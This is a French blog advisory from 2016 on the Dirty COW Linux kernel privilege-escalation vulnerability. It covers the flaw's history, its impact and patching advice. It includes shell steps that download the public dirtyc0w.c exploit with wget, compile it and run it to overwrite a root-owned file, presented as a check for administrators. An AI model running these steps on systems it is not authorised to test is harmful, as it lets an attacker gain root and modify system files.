Dirty Cow : une vulnérabilité critique vieille de 9 ans dans le noyau Linux
lun, 24/10/2016 - 12:06
Avis aux administrateurs système Linux : vos machines sont peut-être (probablement!) gravement vulnérables. Une vulnérabilité du nom de Dirty Cow (pour COW = Copy On Write) vient en effet d'être révélée.
L'histoire remonte à 11 ans. A cette époque, il s'agissait d'un bug que Linux Torvalds a lui-même corrigé et mal corrigé, de son propre aveu. Ce correctif a ensuite été supprimé à cause d'un problème sur les architectures s390, puis le bug est resté bien au chaud dans le noyau.
Il s'agit d'un problème de corruption mémoire liée à une race condition. Un site dédié à cette vulnérabilité a été mis en ligne par le développeur Phil Oster qui a découvert cette vulnérabilité. Il y explique en détail le fonctionnement, exploit à l'appui. Cette vulnérabilité permet à un attaquant local d'obtenir une élévation de privilèges et d'acquérir les droits de root, donc de compromettre tout le système.
La vulnérabilité est donc critique. Un exploit à travers un CMS qui permettrait d'uploader des fichiers (vulnérabilité extrêmement répandue) pourrait ainsi attaquer le serveur, si l'attaquant, qui devient ainsi local, y trouve un compilateur C, situation extrêmement fréquente également.
Vous pouvez vérifier si vos systèmes sont vulnérables de cette manière :
# vous êtes un utilisateur lambda
$ mkdir dirtycow
$ cd dirtycom
# maintenant passer en root puis créer un fichier appartenant a root
$ sudo -s
# echo ce fichier appartient a root > fichier
# redevenir l'utilisateur lambda
#exit
#puis télécharger, compiler et essayer l'exploit
$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
$ gcc -lpthread dirtyc0w.c -o dirtycow
$ ./dirtycow fichier "elevation de priviliege"
# et maintenant le verdict
$ cat fichier
$ elevation de priviliege root
Vous êtes vulnérables... Un utilisateur lambda a pu écrire dans un fichier appartenant à root, donc il a la possibilité de modifier n'importe quel fichier système à son profit.
Tous les Linux sont à priori vulnérables. Un patch a fort heureusement déjà été publié. Les administrateurs systèmes doivent donc redémarrer leurs machines sur un noyau patché de toute urgence.
Toutefois, lors de ses essais, votre serviteur a remarqué que les noyaux compilés avec le patch grsecurity justement conçu pour lutter contre les corruptions mémoire, ne sont pas vulnérables. Redémarrer sur un noyau patché ET compilé avec grsecurity reste toutefois la meilleure chose à faire :-)